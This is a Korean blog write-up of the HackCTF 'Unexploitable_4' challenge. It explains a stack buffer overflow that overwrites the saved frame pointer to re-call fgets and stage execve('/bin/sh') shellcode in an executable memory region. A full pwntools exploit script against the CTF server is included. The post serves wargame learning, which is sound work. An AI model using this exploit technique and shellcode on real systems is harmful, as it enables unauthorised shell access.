풀이 및 알아간 내용
특이하게 Partial RELRO를 제외하고 모든 보호 기법이 해제되어 있다.
s는 [rbp-0x10]에 위치하지만, fgets 에서 0x2C 만큼을 입력받아 BOF가 발생한다.
그런데, RTL Chain을 구성하기에는 너무나도 페이로드의 길이가 짧아질 것이다.
우리는 여기서 SFP를 Control 하여 fgets의 rsi 인자를 수정할 것이고, RET로 fgets의 인자가 setting 되는 주소로 돌아가 필요한 만큼 재입력을 받을 것이다.
SFP를 수정한 채로 RET로 돌아가면 fgets의 rsi가 [rbp-0x10]을 가리키고 있기 때문에 원하는 주소에 값을 적어줄 수 있다.
해당 문제에서는 RWX가 켜져 있으므로 bss 근처에다 입력을 받으면 될 듯하다.
입력받는 값은 NX가 off 되어있기 때문에 어셈을 짜고 RET로 쉘코드 시작주소로 돌아가 실행시키는 방식으로 익스플로잇을 진행할 것이다. 여기까진 정말 순조로웠는데 ㅠㅠ...
시나리오는 다음과 같다.
어셈 내용:
xor rsi, rsi; xor rdx, rdx; movabs rbx 0x9068732F6E69622F; push rbx; mov [rsp+7] , 0; mov rdi, rsp; mov al, 0x3b; syscall;
stage #1
SFP를 0x601110으로 overwrite 하고, RET를 0x4006db (fgets argu setting) 위치로 바꾼다.
stage #2
현재 RBP 위치는 0x601110 이므로, fgets에서 0x601100 부터 입력을 받는다. 해당 어셈 내용을 적당한 크기로 잘라 0x601120 부터 쉘코드 내용을 입력해준다. SFP는 0x601138로, RET는 0x4006db로 세팅한다.
stage #3
남은 쉘코드를 입력하고, RET를 0x601120으로 세팅해 쉘코드를 실행시켜 쉘을 따낸다.
문제 해결을 위한 풀이는 위에 나와 있는 내용이지만, 내가 생각했던 시나리오는 조금 달랐다. 0x601120이 아닌 0x601100 부터 쉘코드 내용을 입력하고 그다음 주소에 남은 쉘코드를 넣어 실행시키는 방식을 떠올렸는데.. 저렇게 하면 스택이 깨지는 건지 익스플로잇이 먹히지 않아 까망눈님 블로그를 참고해 마지막에 앞에는 더미로 채우고 마지막에 쉘코드를 입력받는 방식으로 바꿨더니.. 너무 잘 되더라.. 저렇게는 왜 안 되는 거지? 아시는 분 댓글 바랍니다..
풀고 다른 분 라업도 찾아보니 sys_read를 호출하는 방식도 있던데 다음에 다른 방법으로도 풀어봐야겠다.
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
#p = process('./Unexploitable_4')
p = remote('ctf.j0n9hyun.xyz', 3039)
e = ELF('./Unexploitable_4')
shell = 'xor rsi,rsi; xor rdx,rdx; movabs rbx,0x9068732F6E69622F;'
shell += 'push rbx; mov [rsp+7],si; mov rdi,rsp; mov al,0x3b; syscall;'
shellcode = asm(shell)
print(len(shellcode))
payload = 'A'*0x10
payload += p64(0x601110)
payload += p64(0x4006db)
p.sendline(payload)
sleep(0.2)
payload = 'A'*0x10
payload += p64(0x601138)
payload += p64(0x4006db)
payload += shellcode[:8]
p.sendline(payload)
sleep(0.2)
log.info(len(shellcode[8:]))
payload = shellcode[8:]
payload += '\x90'*3
payload += p64(0x601120)
p.sendline(payload)
p.interactive()
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] wishlist (500p) 풀이 및 알게 된 점 (2) | 2021.01.22 |
---|---|
[HackCTF] AdultFSB 풀이 (700p) (0) | 2021.01.21 |
[HackCTF] ChildFSB (600p) 풀이 (0) | 2021.01.18 |
[HackCTF] 훈폰정음 풀이 (700p) (2) | 2021.01.13 |
[HackCTF] ChildHeap 풀이 (500p) (0) | 2021.01.12 |